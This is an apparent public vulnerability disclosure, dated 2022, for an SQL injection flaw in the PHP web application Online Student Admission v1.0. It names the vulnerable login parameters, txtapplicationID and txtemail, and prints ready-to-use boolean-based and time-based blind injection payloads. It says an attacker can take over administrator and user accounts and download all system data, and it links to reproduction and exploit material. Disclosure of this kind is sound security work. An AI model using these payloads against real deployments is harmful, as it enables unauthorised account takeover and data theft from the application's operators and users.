Online Student Admission v1.0 SQL injection Vulnerability

## Title: Online Student Admission v1.0 SQLi 
## Author: nu11secur1ty
## Date: 03.28.2022
## Vendor: https://www.sourcecodester.com/users/walterjnr1
## Software: https://www.sourcecodester.com/php/14874/online-student-admission-system.html
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/Walterjnr1/Online-Student-Admission

## Description:
The `txtapplicationID` parameter appears to be vulnerable to SQL injection attacks. 
The payloads 42711511' or '9502'='9502 and 76156004' or '1693'='1699 were each submitted in the txtapplicationID parameter. 
These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
The attacker can take administrator account control and also of all accounts on this system, also the malicious user can download all information about this system.

Status: CRITICAL

[+] Payloads:

```mysql

---
Parameter: txtemail (POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: [email protected]/php/14874/online-student-admission-system.html' RLIKE (SELECT (CASE WHEN (3278=3278) THEN 0x416f72467a74676940736f75726365636f6465737465722e636f6d2f7068702f31343837342f6f6e6c696e652d73747564656e742d61646d697373696f6e2d73797374656d2e68746d6c ELSE 0x28 END)) AND 'ZJbf'='ZJbf&txtapplicationID=50649742711511' or '9502'='9502&btnlogin=

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: [email protected]/php/14874/online-student-admission-system.html' AND (SELECT 6166 FROM (SELECT(SLEEP(5)))illi) AND 'pUbk'='pUbk&txtapplicationID=50649742711511' or '9502'='9502&btnlogin=
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/Walterjnr1/Online-Student-Admission)

## Proof and Exploit:
[href](https://streamable.com/1mcljv)